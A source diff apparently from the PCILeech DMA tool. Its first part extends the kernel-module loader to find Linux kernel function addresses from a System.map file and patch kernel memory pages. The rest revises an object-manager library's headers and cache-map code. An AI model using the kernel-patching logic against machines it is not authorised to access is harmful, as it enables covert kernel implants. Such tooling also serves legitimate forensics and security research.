+ CHAR szNeedle[MAX_PATH], *szFind;
+ if(_snprintf_s(szNeedle, sizeof(szNeedle), _TRUNCATE, " T %s\n", sz) <= 0) { return 0; }
+ szFind = strstr((LPSTR)ctxMain->cfg.pbIn + 16, szNeedle);
+ if(!szFind) { return 0; }
+ return strtoull(szFind - 16, NULL, 16);
+}
+
+VOID KMD_LinuxFindFunctionAddrTBL_FromSystemMap(_In_ PBYTE pb, _In_ DWORD cb, _Inout_updates_(cS) PKERNELSEEKER pS, _In_ DWORD cS, _In_ QWORD vaBase)
+{
+ QWORD i, o, va_startup_64, va;
+ if(ctxMain->cfg.cbIn < 32) { return; }
+ ctxMain->cfg.pbIn[ctxMain->cfg.cbIn - 1] = 0;
+ va_startup_64 = KMD_LinuxFindFunctionAddrTBL_FromSystemMap_GetAddressFromName("startup_64") & 0xFFFFFFFFFFE00000;
+ if(!va_startup_64) { return; }
+ for(i = 0; i < cS; i++) {
+ if(pS[i].cbSeek > 1) {
+ va = KMD_LinuxFindFunctionAddrTBL_FromSystemMap_GetAddressFromName(pS[i].pbSeek + 1);
+ if((va <= va_startup_64) || (va & 0xf)) { continue; }
+ o = va - va_startup_64;
+ if(!o || (o > cb)) { continue; }
+ if((pb[o - 1] != 0xcc) && (pb[o - 1] != 0x90)) { continue; }
+ pS[i].aFn = (DWORD)o;
+ pS[i].vaFn = vaBase + o;
+ if(!pS[i].aSeek) { pS[i].aSeek = (DWORD)o; }
+ pS[i].vaSeek = vaBase + pS[i].aSeek;
+ }
+ }
+}
+
/*
* Locate function addresses in symtab with relative addressing.
*/
@@ -364,7 +395,11 @@ VOID KMD_LinuxFindFunctionAddrTBL_Relative(_In_ PBYTE pb, _In_ DWORD cb, _Inout_
if(vaBase == (QWORD)-1) {
return;
}
- // 2: Locate relative addresses of functions from symtab and fix virtual addresses
+ // 2: Locate from user-supplied System.map file (if any):
+ if(0 == _stricmp(ctxMain->cfg.szKMDName, "LINUX_X64_MAP")) {
+ KMD_LinuxFindFunctionAddrTBL_FromSystemMap(pb, cb, pS, cS, vaBase);
+ }
+ // 3: Locate relative addresses of functions from symtab and fix virtual addresses
for(i = 0; i < cS; i++) {
if(!pS[i].aSeek || pS[i].vaSeek) { continue; }
if(!KMD_LinuxFindFunctionAddrTBL_RelativeSymTabSearch(pb, cb, ((pS[i].aSeek & ~0xf) - 0x00100000), pS + i)) { continue; }
@@ -1426,7 +1461,7 @@ BOOL KMDOpen_MemoryScan()
goto fail;
}
pSignature = &pSignatures[0];
- } else if(0 == _stricmp(ctxMain->cfg.szKMDName, "LINUX_X64_48")) {
+ } else if((0 == _stricmp(ctxMain->cfg.szKMDName, "LINUX_X64_48")) || (0 == _stricmp(ctxMain->cfg.szKMDName, "LINUX_X64_MAP"))) {
if(!KMD_Linux48KernelSeekSignature(&pSignatures[0])) {
printf("KMD: Failed. Error locating generic linux kernel signature.\n");
goto fail;
@@ -1469,6 +1504,10 @@ BOOL KMDOpen_MemoryScan()
ph2->qwPageAddr = pSignature->chunk[1].qwAddress;
ph1->dwPageOffset = 0xfff & pSignature->chunk[2].cbOffset;
ph2->dwPageOffset = 0xfff & pSignature->chunk[3].cbOffset;
+ if(ph2->dwPageOffset + pSignature->chunk[2].cb > 0x1000) {
+ printf("KMD: Failed. Stage #2 too large.\n");
+ goto fail;
+ }
DeviceReadDMA_Retry(ctxMain->hLC, ph1->qwPageAddr, 4096, ph1->pbOrig);
DeviceReadDMA_Retry(ctxMain->hLC, ph2->qwPageAddr, 4096, ph2->pbOrig);
memcpy(ph1->pbPatch, ph1->pbOrig, 4096);
diff --git a/pcileech/ob/ob.h b/pcileech/ob/ob.h
index 704f344..2005987 100644
--- a/pcileech/ob/ob.h
+++ b/pcileech/ob/ob.h
@@ -1,6 +1,6 @@
// ob.h : definitions related to the object manager and object manager collections.
//
-// (c) Ulf Frisk, 2018-2021
+// (c) Ulf Frisk, 2018-2023
// Author: Ulf Frisk, pcileech@frizk.net
//
#ifndef __OB_H__
@@ -13,8 +13,13 @@ typedef unsigned __int64 QWORD, *PQWORD;
#include "../oscompatibility.h"
#endif /* _WIN32 */
+// OB_DEBUG is not working (as currently coded) with arm32 due to alignment issues.
+#if _WIN32 || _WIN64 || __i386__ || __amd64__ || __aarch64__
#define OB_DEBUG
+//#define OB_DEBUG_MEMZERO
+#endif /* _WIN32 || _WIN64 || __i386__ || __amd64__ || __aarch64__ */
#define OB_HEADER_MAGIC 0x0c0efefe
+typedef struct tdVMM_HANDLE *VMM_HANDLE;
#define OB_TAG_CORE_CONTAINER 'ObCo'
#define OB_TAG_CORE_COMPRESSED 'ObCp'
@@ -25,6 +30,7 @@ typedef unsigned __int64 QWORD, *PQWORD;
#define OB_TAG_CORE_MEMFILE 'ObMF'
#define OB_TAG_CORE_CACHEMAP 'ObMc'
#define OB_TAG_CORE_STRMAP 'ObMs'
+#define OB_TAG_CORE_BYTEQUEUE 'ObBq'
// ----------------------------------------------------------------------------
// OBJECT MANAGER CORE FUNCTIONALITY BELOW:
@@ -46,9 +52,9 @@ typedef unsigned __int64 QWORD, *PQWORD;
typedef struct tdOB {
// internal object manager functionality below: (= do not use unless absolutely necessary)
- DWORD _magic; // magic value - OB_HEADER_MAGIC
+ DWORD _magic1; // magic value - OB_HEADER_MAGIC
union {
- DWORD _tag; // tag - 2 chars, no null terminator
+ DWORD _tag; // tag - 4 chars, no null terminator
CHAR _tagCh[4];
};
union {
@@ -59,15 +65,19 @@ typedef struct tdOB {
VOID(*_pfnRef_1)(_In_ PVOID pOb); // callback - when object reach refcount 1 (not initial)
QWORD _Filler2;
};
+ DWORD _Filler3[5];
DWORD _count; // reference count
// external object manager functionality below: (= ok to use)
- DWORD cbData;
+ union { VMM_HANDLE H; QWORD _Filler4; };// vmm user handle (supplied at alloc)
+ DWORD cbData; // data byte count (excl. OB header)
+ DWORD _magic2; // magic value - OB_HEADER_MAGIC
} OB, *POB;
typedef VOID(*OB_CLEANUP_CB)(_In_ PVOID pOb);
/*
* Allocate a new object manager memory object.
+* -- H = an optional handle to embed as OB.H in the header.
* -- tag = tag identifying the type of object.
* -- uFlags = flags as given by LocalAlloc.
* -- uBytes = bytes of object (_including_ object headers).
@@ -77,7 +87,23 @@ typedef VOID(*OB_CLEANUP_CB)(_In_ PVOID pOb);
* -- pfnRef_1 = optional callback for when object reach refcount = 1 at DECREF.
* -- return = allocated object on success, with refcount = 1, - NULL on fail.
*/
-PVOID Ob_Alloc(_In_ DWORD tag, _In_ UINT uFlags, _In_ SIZE_T uBytes, _In_opt_ OB_CLEANUP_CB pfnRef_0, _In_opt_ OB_CLEANUP_CB pfnRef_1);
+PVOID Ob_AllocEx(_In_opt_ VMM_HANDLE H, _In_ DWORD tag, _In_ UINT uFlags, _In_ SIZE_T uBytes, _In_opt_ OB_CLEANUP_CB pfnRef_0, _In_opt_ OB_CLEANUP_CB pfnRef_1);
+
+/*
+* Allocate a new object manager memory object.
+* -- tag = tag identifying the type of object.
+* -- uFlags = flags as given by LocalAlloc.
+* -- uBytes = bytes of object (_including_ object headers).
+* -- pfnRef_0 = optional callback for cleanup o be called before object is destroyed.
+* (if object contains objects which references should be decremented
+ before destruction of this 'parent' object).
+* -- pfnRef_1 = optional callback for when object reach refcount = 1 at DECREF.
+* -- return = allocated object on success, with refcount = 1, - NULL on fail.
+*/
+inline PVOID Ob_Alloc(_In_ DWORD tag, _In_ UINT uFlags, _In_ SIZE_T uBytes, _In_opt_ OB_CLEANUP_CB pfnRef_0, _In_opt_ OB_CLEANUP_CB pfnRef_1)
+{
+ return Ob_AllocEx(NULL, tag, uFlags, uBytes, pfnRef_0, pfnRef_1);
+}
/*
* Increase the reference count of a object by one.
@@ -98,8 +124,8 @@ PVOID Ob_XDECREF(_In_opt_ PVOID pOb);
#define Ob_DECREF(pOb) (Ob_XDECREF((PVOID)pOb))
/*
-* Decrease the reference count of a object manager object. If the reference
-* count reaches zero the object will be cleaned up.
+* Decrease the reference count of a object manager object.
+* If the reference count reaches zero the object will be cleaned up.
* Also set the incoming pointer to NULL.
* -- ppOb
*/
@@ -136,12 +162,13 @@ typedef struct tdOB_DATA {
* to the number of bytes in the data buffer supplied to this function.
* May also be created with Ob_Alloc with size: sizeof(OB_HDR) + length of data.
* CALLER DECREF: return
+* -- H
* -- pb
* -- cb
* -- return
*/
_Success_(return != NULL)
-POB_DATA ObData_New(_In_ PBYTE pb, _In_ DWORD cb);
+POB_DATA ObData_New(_In_opt_ VMM_HANDLE H, _In_ PBYTE pb, _In_ DWORD cb);
@@ -158,7 +185,7 @@ POB_DATA ObData_New(_In_ PBYTE pb, _In_ DWORD cb);
typedef struct tdOB_CONTAINER {
OB ObHdr;
- CRITICAL_SECTION Lock;
+ SRWLOCK LockSRW;
POB pOb;
} OB_CONTAINER, *POB_CONTAINER;
@@ -216,9 +243,10 @@ typedef struct tdOB_SET *POB_SET;
* ways to store unique 64-bit (or smaller) numbers as a set.
* The ObSet is an object manager object and must be DECREF'ed when required.
* CALLER DECREF: return
+* -- H
* -- return
*/
-POB_SET ObSet_New();
+POB_SET ObSet_New(_In_opt_ VMM_HANDLE H);
/*
* Retrieve the number of items in the given ObSet.
@@ -311,6 +339,20 @@ QWORD ObSet_Pop(_In_opt_ POB_SET pvs);
*/
QWORD ObSet_GetNext(_In_opt_ POB_SET pvs, _In_ QWORD value);
+/*
+* Retrieve the given an index. To start iterating, use index 0. When no more
+* items are available, the function will return 0.
+* Add/Remove rules:
+* - Added values are ok - but will not be iterated over.
+* - Removal of current value and already iterated values are ok.
+* - Removal of values not yet iterated is FORBIDDEN. It causes the iterator
+* fail by returning the same value multiple times or skipping values.
+* -- pvs
+* -- pdwIndex
+* -- return
+*/
+QWORD ObSet_GetNextByIndex(_In_opt_ POB_SET pvs, _Inout_ PDWORD pdwIndex);
+
/*
* Retrieve a value given a value index (which is less than the amount of items
* in the Set).
@@ -357,15 +399,21 @@ typedef struct tdOB_MAP *POB_MAP;
#define OB_MAP_FLAGS_OBJECT_LOCALFREE 0x02
#define OB_MAP_FLAGS_NOKEY 0x04
+typedef struct tdOB_MAP_ENTRY {
+ QWORD k;
+ union { PVOID v; QWORD _Filler; };
+} OB_MAP_ENTRY, *POB_MAP_ENTRY, **PPOB_MAP_ENTRY;
+
/*
* Create a new map. A map (ObMap) provides atomic map operations and ways
* to optionally map key values to values, pointers or object manager objects.
* The ObMap is an object manager object and must be DECREF'ed when required.
* CALLER DECREF: return
+* -- H
* -- flags = defined by OB_MAP_FLAGS_*
* -- return
*/
-POB_MAP ObMap_New(_In_ QWORD flags);
+POB_MAP ObMap_New(_In_opt_ VMM_HANDLE H, _In_ QWORD flags);
/*
* Retrieve the number of objects in the ObMap.
@@ -432,7 +480,7 @@ PVOID ObMap_Pop(_In_opt_ POB_MAP pm);
* -- return = success: object, fail: NULL.
*/
_Success_(return != NULL)
-PVOID ObMap_PopWithKey(_In_opt_ POB_MAP pm, _Out_ PQWORD pKey);
+PVOID ObMap_PopWithKey(_In_opt_ POB_MAP pm, _Out_opt_ PQWORD pKey);
/*
* Remove an object from the ObMap.
@@ -508,6 +556,39 @@ PVOID ObMap_GetNext(_In_opt_ POB_MAP pm, _In_opt_ PVOID pvObject);
*/
PVOID ObMap_GetNextByKey(_In_opt_ POB_MAP pm, _In_ QWORD qwKey, _In_opt_ PVOID pvObject);
+/*
+* Retrieve the next object given a key in a map sorted by key. If the key isn't
+* found the next object with a larger key will be returned. To start iterating
+* supply zero (0) in the qwKey parameter. When no more objects are found NULL
+* will be returned.
+* NB! Correctness is only guarateed if the map is sorted by key ascending.
+* FUNCTION DECREF(if OB): pvObject
+* CALLER DECREF(if OB): return
+* -- pm
+* -- qwKey
+* -- pvObject
+* -- return
+*/
+PVOID ObMap_GetNextByKeySorted(_In_opt_ POB_MAP pm, _In_ QWORD qwKey, _In_opt_ PVOID pvObject);
+
+/*
+* Iterate over objects in reversed index order. To start iterating supply NULL
+* in the pvObject parameter (this overrides pdwIndex). When no more objects
+* are found NULL will be returned.
+* Add/Remove rules:
+* - Added objects are ok - but will not be iterated over.
+* - Removal of current object and already iterated objects are ok.
+* - Removal of objects not yet iterated is FORBIDDEN. It causes the iterator
+* fail by returning the same object multiple times or skipping objects.
+* FUNCTION DECREF(if OB): pvObject
+* CALLER DECREF(if OB): return
+* -- pm
+* -- pdwIndex
+* -- pvObject
+* -- return
+*/
+PVOID ObMap_GetNextByIndex(_In_opt_ POB_MAP pm, _Inout_ PDWORD pdwIndex, _In_opt_ PVOID pvObject);
+
/*
* Retrieve a value given a key.
* CALLER DECREF(if OB): return
@@ -539,38 +620,81 @@ PVOID ObMap_GetByIndex(_In_opt_ POB_MAP pm, _In_ DWORD index);
_Success_(return != 0)
QWORD ObMap_GetKey(_In_opt_ POB_MAP pm, _In_ PVOID pvObject);
+/*
+* Callback function for ObMap_Filter which converts a ObMap to an arbitrary context.
+*/
+typedef VOID(*OB_MAP_FILTER_PFN_CB)(_In_opt_ PVOID ctx, _In_ QWORD k, _In_ PVOID v);
+
+/*
+* Callback function for ObMap_FilterSet which converts an ObMap to an ObSet.
+*/
+typedef VOID(*OB_MAP_FILTERSET_PFN_CB)(_In_opt_ PVOID ctx, _In_ POB_SET ps, _In_ QWORD k, _In_ PVOID v);
+
+/*
+* Callback function for ObMap_RemoveByFilter which removes objects from an ObMap.
+*/
+typedef BOOL(*OB_MAP_FILTER_REMOVE_PFN_CB)(_In_opt_ PVOID ctx, _In_ QWORD k, _In_ PVOID v);
+
/*
* Common filter function related to ObMap_FilterSet.
*/
-VOID ObMap_FilterSet_FilterAllKey(_In_ QWORD k, _In_ PVOID v, _Inout_ POB_SET ps);
+VOID ObMap_FilterSet_FilterAllKey(_In_opt_ PVOID ctx, _In_ POB_SET ps, _In_ QWORD k, _In_ PVOID v);
/*
* Filter map objects into a generic context by using a user-supplied filter function.
* -- pm
* -- ctx = optional context to pass on to the filter function.
-* -- pfnFilter
+* -- pfnFilterCB = filter callback function. NULL = fail.
* -- return
*/
_Success_(return)
-BOOL ObMap_Filter(_In_opt_ POB_MAP pm, _Inout_opt_ PVOID ctx, _In_opt_ VOID(*pfnFilter)(_In_ QWORD k, _In_ PVOID v, _Inout_opt_ PVOID ctx));
+BOOL ObMap_Filter(_In_opt_ POB_MAP pm, _In_opt_ PVOID ctx, _In_opt_ OB_MAP_FILTER_PFN_CB pfnFilterCB);
/*
* Filter map objects into a POB_SET by using a user-supplied filter function.
* CALLER DECREF: return
* -- pm
-* -- pfnFilter
+* -- ctx = optional context to pass on to the filter function.
+* -- pfnFilterSetCB = filter callback function. NULL = fail.
* -- return = POB_SET consisting of values gathered by the pfnFilter function.
*/
_Success_(return != NULL)
-POB_SET ObMap_FilterSet(_In_opt_ POB_MAP pm, _In_opt_ VOID(*pfnFilter)(_In_ QWORD k, _In_ PVOID v, _Inout_ POB_SET ps));
+POB_SET ObMap_FilterSet(_In_opt_ POB_MAP pm, _In_opt_ PVOID ctx, _In_opt_ OB_MAP_FILTERSET_PFN_CB pfnFilterSetCB);
/*
* Remove map objects using a user-supplied filter function.
* -- pm
-* -- pfnFilter = decision making function: [pfnFilter(k,v)->TRUE(remove)|FALSE(keep)]
+* -- ctx = optional context to pass on to the filter function.
+* -- pfnFilterRemoveCB = decision making function: [pfnFilter(ctx,k,v)->TRUE(remove)|FALSE(keep)]
* -- return = number of entries removed.
*/
-DWORD ObMap_RemoveByFilter(_In_opt_ POB_MAP pm, _In_opt_ BOOL(*pfnFilter)(_In_ QWORD k, _In_ PVOID v));
+DWORD ObMap_RemoveByFilter(_In_opt_ POB_MAP pm, _In_opt_ PVOID ctx, _In_opt_ OB_MAP_FILTER_REMOVE_PFN_CB pfnFilterRemoveCB);
+
+/*
+* Sort compare callback function.
+*/
+typedef int(*OB_MAP_SORT_COMPARE_FUNCTION)(_In_ POB_MAP_ENTRY e1, _In_ POB_MAP_ENTRY e2);
+
+/*
+* Sort the ObMap entry index by a sort compare function.
+* NB! The items sorted by the sort function are const OB_MAP_ENTRY* objects
+* which points to the underlying map object key/value.
+* -- pm
+* -- pfnSort = sort function callback. const void* == const OB_MAP_ENTRY*
+* -- return
+*/
+_Success_(return)
+BOOL ObMap_SortEntryIndex(_In_opt_ POB_MAP pm, _In_ OB_MAP_SORT_COMPARE_FUNCTION pfnSort);
+
+/*
+* Sort the ObMap entry index by key ascending.
+* NB! The items sorted by the sort function are const OB_MAP_ENTRY* objects
+* which points to the underlying map object key/value.
+* -- pm
+* -- return
+*/
+_Success_(return)
+BOOL ObMap_SortEntryIndexByKey(_In_opt_ POB_MAP pm);
@@ -594,11 +718,26 @@ typedef struct tdOB_CACHEMAP *POB_CACHEMAP;
#define OB_CACHEMAP_FLAGS_OBJECT_OB 0x01
#define OB_CACHEMAP_FLAGS_OBJECT_LOCALFREE 0x02
+/*
+* Callback function for the pfnValidEntry in ObCacheMap_New()
+* -- H
+* -- qwContext
+* -- qwKey
+* -- pbObject
+*/
+typedef BOOL(*OB_CACHEMAP_VALIDENTRY_PFN_CB)(
+ _In_opt_ VMM_HANDLE H,
+ _Inout_ PQWORD qwContext,
+ _In_ QWORD qwKey,
+ _In_ PVOID pvObject
+);
+
/*
* Create a new cached map. A cached map (ObCacheMap) provides atomic map
* operations on cached objects.
* The ObCacheMap is an object manager object and must be DECREF'ed when required.
* CALLER DECREF: return
+* -- H
* -- cMaxEntries = max entries in the cache, if more entries are added the
* least recently accessed item will be removed from the cache map.
* -- pfnValidEntry = validation callback function (if any).
@@ -606,8 +745,9 @@ typedef struct tdOB_CACHEMAP *POB_CACHEMAP;
* -- return
*/
POB_CACHEMAP ObCacheMap_New(
+ _In_opt_ VMM_HANDLE H,
_In_ DWORD cMaxEntries,
- _In_opt_ BOOL(*pfnValidEntry)(_Inout_ PQWORD qwContext, _In_ QWORD qwKey, _In_ PVOID pvObject),
+ _In_opt_ OB_CACHEMAP_VALIDENTRY_PFN_CB pfnValidEntry,
_In_ QWORD flags
);
@@ -916,11 +1056,12 @@ BOOL ObStrMap_FinalizeBufferXUW(_In_opt_ POB_STRMAP psm, _In_ DWORD cbMultiStr,
* decommissioned by calling any of the ObStrMap_Finalize*() functions.
* The ObStrMap is an object manager object and must be DECREF'ed when required.
* CALLER DECREF: return
+* -- H
* -- flags
* -- return
*/
_Success_(return != NULL)
-POB_STRMAP ObStrMap_New(_In_ QWORD flags);
+POB_STRMAP ObStrMap_New(_In_opt_ VMM_HANDLE H, _In_ QWORD flags);
@@ -932,24 +1073,33 @@ POB_STRMAP ObStrMap_New(_In_ QWORD flags);
typedef struct tdOB_COMPRESSED *POB_COMPRESSED;
+#define OB_COMPRESSED_CACHED_ENTRIES_MAX 0x40
+#define OB_COMPRESSED_CACHED_ENTRIES_MAXSIZE 0x00100000
+
/*
* Create a new compressed buffer object from a byte buffer.
+* It's strongly recommended to supply a global cache map to use.
* CALLER DECREF: return
+* -- H
+* -- pcmg = optional global (per VMM_HANDLE) cache map to use.
* -- pb
* -- cb
* -- return
*/
_Success_(return != NULL)
-POB_COMPRESSED ObCompressed_NewFromByte(_In_reads_(cb) PBYTE pb, _In_ DWORD cb);
+POB_COMPRESSED ObCompressed_NewFromByte(_In_opt_ VMM_HANDLE H, _In_opt_ POB_CACHEMAP pcmg, _In_reads_(cb) PBYTE pb, _In_ DWORD cb);
/*
* Create a new compressed buffer object from a zero terminated string.
+* It's strongly recommended to supply a global cache map to use.
* CALLER DECREF: return
+* -- H
+* -- pcmg = optional global (per VMM_HANDLE) cache map to use.
* -- sz
* -- return
*/
_Success_(return != NULL)
-POB_COMPRESSED ObCompress_NewFromStrA(_In_ LPSTR sz);
+POB_COMPRESSED ObCompress_NewFromStrA(_In_opt_ VMM_HANDLE H, _In_opt_ POB_CACHEMAP pcmg, _In_ LPSTR sz);
/*
* Retrieve the uncompressed size of the compressed data object.
@@ -984,11 +1134,14 @@ typedef struct tdOB_MEMFILE *POB_MEMFILE;
/*
* Create a new empty memory file.
+* It's strongly recommended to supply a global cache map to use.
* CALLER DECREF: return
+* -- H
+* -- pcmg = optional global (per VMM_HANDLE) cache map to use.
* -- return
*/
_Success_(return != NULL)
-POB_MEMFILE ObMemFile_New();
+POB_MEMFILE ObMemFile_New(_In_opt_ VMM_HANDLE H, _In_opt_ POB_CACHEMAP pcmg);
/*
* Retrieve byte count of the ObMemFile.
@@ -1016,6 +1169,26 @@ BOOL ObMemFile_Append(_In_opt_ POB_MEMFILE pmf, _In_reads_(cb) PBYTE pb, _In_ QW
_Success_(return)
BOOL ObMemFile_AppendString(_In_opt_ POB_MEMFILE pmf, _In_opt_z_ LPSTR sz);
+/*
+* Append a string (ansi or utf-8) to the ObMemFile.
+* -- H
+* -- uszFormat
+* -- ...
+* -- return = the number of bytes appended (excluding terminating null).
+*/
+_Success_(return != 0)
+SIZE_T ObMemFile_AppendStringEx(_In_opt_ POB_MEMFILE pmf, _In_z_ _Printf_format_string_ LPSTR uszFormat, ...);
+
+/*
+* Append a string (ansi or utf-8) to the ObMemFile.
+* -- H
+* -- uszFormat
+* -- arglist
+* -- return = the number of bytes appended (excluding terminating null).
+*/
+_Success_(return != 0)
+SIZE_T ObMemFile_AppendStringEx2(_In_opt_ POB_MEMFILE pmf, _In_z_ _Printf_format_string_ LPSTR uszFormat, _In_ va_list arglist);
+
/*
* Read data 'as file' from the ObMemFile.
* -- pmf
@@ -1055,10 +1228,20 @@ typedef struct tdOB_COUNTER_ENTRY {
* Create a new counter. A counter (ObCounter) provides atomic counting operations.
* The ObCounter is an object manager object and must be DECREF'ed when required.
* CALLER DECREF: return
+* -- H
* -- flags = defined by OB_COUNTER_FLAGS_*
* -- return
*/
-POB_COUNTER ObCounter_New(_In_ QWORD flags);
+POB_COUNTER ObCounter_New(_In_opt_ VMM_HANDLE H, _In_ QWORD flags);
+
+/*
+* Clear the ObCounter by removing all counts and keys.
+* NB! underlying allocated memory will remain unchanged.
+* -- pm
+* -- return = clear was successful - always true.
+*/
+_Success_(return)
+BOOL ObCounter_Clear(_In_opt_ POB_COUNTER pc);
/*
* Retrieve the number of counted keys the ObCounter.
@@ -1172,5 +1355,96 @@ BOOL ObCounter_GetAllSortedByKey(_In_opt_ POB_COUNTER pc, _In_ DWORD cEntries, _
_Success_(return)
BOOL ObCounter_GetAllSortedByCount(_In_opt_ POB_COUNTER pc, _In_ DWORD cEntries, _Out_writes_opt_(cEntries) POB_COUNTER_ENTRY pEntries);
+/*
+* Remove the "last" count.
+* -- pc
+* -- return = success: count, fail: 0.
+*/
+_Success_(return != 0)
+QWORD ObCounter_Pop(_In_opt_ POB_COUNTER pc);
+
+/*
+* Remove the "last" count and return it and its key.
+* -- pc
+* -- pKey
+* -- return = success: count, fail: 0.
+*/
+_Success_(return != 0)
+QWORD ObCounter_PopWithKey(_In_opt_ POB_COUNTER pc, _Out_opt_ PQWORD pKey);
+
+
+
+// ----------------------------------------------------------------------------
+// BYTE QUEUE FUNCTIONALITY BELOW
+//
+// The byte queue contains a fixed number of bytes as buffer. The queue size
+// is defined at queue creation and cannot be changed.
+// Bytes in the form of packets [pb, cb, tag] is pushed on the queue as long
+// as there is available space.
+// Bytes may be popped from the queue. This will also free up space for more
+// bytes to be pushed on the queue.
+// The bytes queue is FIFO and will always pop the oldest bytes first.
+// The ObByteQueue is an object manager object and must be DECREF'ed when required.
+// ----------------------------------------------------------------------------
+
+typedef struct tdOB_BYTEQUEUE *POB_BYTEQUEUE;
+
+/*
+* Retrieve the number of packets (not bytes) in the byte queue.
+* -- pq
+* -- return
+*/
+DWORD ObByteQueue_Size(_In_opt_ POB_BYTEQUEUE pq);
+
+/*
+* Peek data from the byte queue. The data is copied into the user-supplied buffer.
+* If the buffer is insufficient the function will return FALSE and the required
+* size will be returned in pcbRead.
+* -- pq
+* -- pqwTag
+* -- cb
+* -- pb
+* -- pcbRead
+* -- return = TRUE if there was data to peek, FALSE otherwise.
+*/
+_Success_(return)
+BOOL ObByteQueue_Peek(_In_opt_ POB_BYTEQUEUE pq, _Out_opt_ QWORD * pqwTag, _In_ SIZE_T cb, _Out_ PBYTE pb, _Out_ SIZE_T * pcbRead);
+
+/*
+* Pop data from the byte queue. The data is copied into the user-supplied buffer.
+* If the buffer is insufficient the function will return FALSE and the required
+* size will be returned in pcbRead.
+* -- pq
+* -- pqwTag
+* -- cb
+* -- pb
+* -- pcbRead
+* -- return = TRUE if there was data to pop, FALSE otherwise.
+*/
+_Success_(return)
+BOOL ObByteQueue_Pop(_In_opt_ POB_BYTEQUEUE pq, _Out_opt_ QWORD * pqwTag, _In_ SIZE_T cb, _Out_ PBYTE pb, _Out_ SIZE_T * pcbRead);
+
+/*
+* Push / Insert into the ObByteQueue. The data is copied into the queue.
+* -- pq
+* -- qwTag
+* -- cb
+* -- pb
+* -- return = TRUE on insertion, FALSE otherwise - i.e. if the byte queue
+* is insufficient to hold the byte data.
+*/
+_Success_(return)
+BOOL ObByteQueue_Push(_In_opt_ POB_BYTEQUEUE pq, _In_opt_ QWORD qwTag, _In_ SIZE_T cb, _In_reads_bytes_(cb) PBYTE pb);
+
+/*
+* Create a new byte queue. A byte queue (ObByteQueue) provides atomic queuing
+* operations for pushing/popping bytes as packets on a FIFO queue.
+* The ObByteQueue is an object manager object and must be DECREF'ed when required.
+* CALLER DECREF: return
+* -- H
+* -- cbQueueSize = the queue size in bytes. Must be larger than 4096 bytes.
+* -- return
+*/
+POB_BYTEQUEUE ObByteQueue_New(_In_opt_ VMM_HANDLE H, _In_ DWORD cbQueueSize);
#endif /* __OB_H__ */
diff --git a/pcileech/ob/ob_cachemap.c b/pcileech/ob/ob_cachemap.c
index d62bdf5..42b8036 100644
--- a/pcileech/ob/ob_cachemap.c
+++ b/pcileech/ob/ob_cachemap.c
@@ -10,12 +10,12 @@
// The map (ObCacheMap) is thread safe.
// The ObCacheMap is an object manager object and must be DECREF'ed when required.
//
-// (c) Ulf Frisk, 2020-2022
+// (c) Ulf Frisk, 2020-2023
// Author: Ulf Frisk, pcileech@frizk.net
//
#include "ob.h"
-#define OB_CACHEMAP_IS_VALID(p) (p && (p->ObHdr._magic == OB_HEADER_MAGIC) && (p->ObHdr._tag == OB_TAG_CORE_CACHEMAP))
+#define OB_CACHEMAP_IS_VALID(p) (p && (p->ObHdr._magic2 == OB_HEADER_MAGIC) && (p->ObHdr._magic1 == OB_HEADER_MAGIC) && (p->ObHdr._tag == OB_TAG_CORE_CACHEMAP))
#define OB_CACHEMAP_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pcm, RetTp, RetValFail, fn) { \
if(!OB_CACHEMAP_IS_VALID(pcm)) { return RetValFail; } \
@@ -42,10 +42,9 @@ typedef struct tdOB_CACHEMAP {
BOOL fObjectsLocalFree;
POB_MAP pm;
POB_CACHEMAPENTRY AgeListHead;
- BOOL(*pfnValidEntry)(_Inout_ PQWORD qwData, _In_ QWORD qwKey, _In_ PVOID pvObject);
+ OB_CACHEMAP_VALIDENTRY_PFN_CB pfnValidEntry;
} OB_CACHEMAP, *POB_CACHEMAP;
-
_Success_(return)
BOOL _ObCacheMap_Clear(_In_ POB_CACHEMAP pcm)
{
@@ -108,7 +107,7 @@ PVOID _ObCacheMap_GetByKey(_In_ POB_CACHEMAP pcm, _In_ QWORD qwKey)
{
POB_CACHEMAPENTRY pe;
if(!(pe = ObMap_GetByKey(pcm->pm, qwKey))) { return NULL; }
- if(pcm->pfnValidEntry && !pcm->pfnValidEntry(&pe->qwContext, qwKey, pe->pvObject)) {
+ if(pcm->pfnValidEntry && !pcm->pfnValidEntry(pcm->ObHdr.H, &pe->qwContext, qwKey, pe->pvObject)) {
// invalid - remove object from map and return NULL
_ObCacheMap_RemoveByKey(pcm, qwKey, TRUE);
return NULL;
@@ -228,25 +227,26 @@ VOID _ObCacheMap_ObCloseCallback(_In_ POB_CACHEMAP pObCacheMap)
* operations on cached objects.
* The ObCacheMap is an object manager object and must be DECREF'ed when required.
* CALLER DECREF: return
+* -- H
* -- cMaxEntries = max entries in the cache, if more entries are added the
* least recently accessed item will be removed from the cache map.
* -- pfnValidEntry = optional validation callback function.
* -- flags = defined by OB_CACHEMAP_FLAGS_*
* -- return
*/
-POB_CACHEMAP ObCacheMap_New(_In_ DWORD cMaxEntries, _In_opt_ BOOL(*pfnValidEntry)(_Inout_ PQWORD qwContext, _In_ QWORD qwKey, _In_ PVOID pvObject), _In_ QWORD flags)
+POB_CACHEMAP ObCacheMap_New(_In_opt_ VMM_HANDLE H, _In_ DWORD cMaxEntries, _In_opt_ OB_CACHEMAP_VALIDENTRY_PFN_CB pfnValidEntry, _In_ QWORD flags)
{
POB_CACHEMAP pObCacheMap;
if(!cMaxEntries) { return NULL; }
if((flags & OB_MAP_FLAGS_OBJECT_OB) && (flags & OB_MAP_FLAGS_OBJECT_LOCALFREE)) { return NULL; }
- pObCacheMap = Ob_Alloc(OB_TAG_CORE_CACHEMAP, LMEM_ZEROINIT, sizeof(OB_CACHEMAP), (OB_CLEANUP_CB)_ObCacheMap_ObCloseCallback, NULL);
+ pObCacheMap = Ob_AllocEx(H, OB_TAG_CORE_CACHEMAP, LMEM_ZEROINIT, sizeof(OB_CACHEMAP), (OB_CLEANUP_CB)_ObCacheMap_ObCloseCallback, NULL);
if(!pObCacheMap) { return NULL; }
InitializeSRWLock(&pObCacheMap->LockSRW);
pObCacheMap->cMax = cMaxEntries;
pObCacheMap->pfnValidEntry = pfnValidEntry;
pObCacheMap->fObjectsOb = (flags & OB_CACHEMAP_FLAGS_OBJECT_OB) ? TRUE : FALSE;
pObCacheMap->fObjectsLocalFree = (flags & OB_CACHEMAP_FLAGS_OBJECT_LOCALFREE) ? TRUE : FALSE;
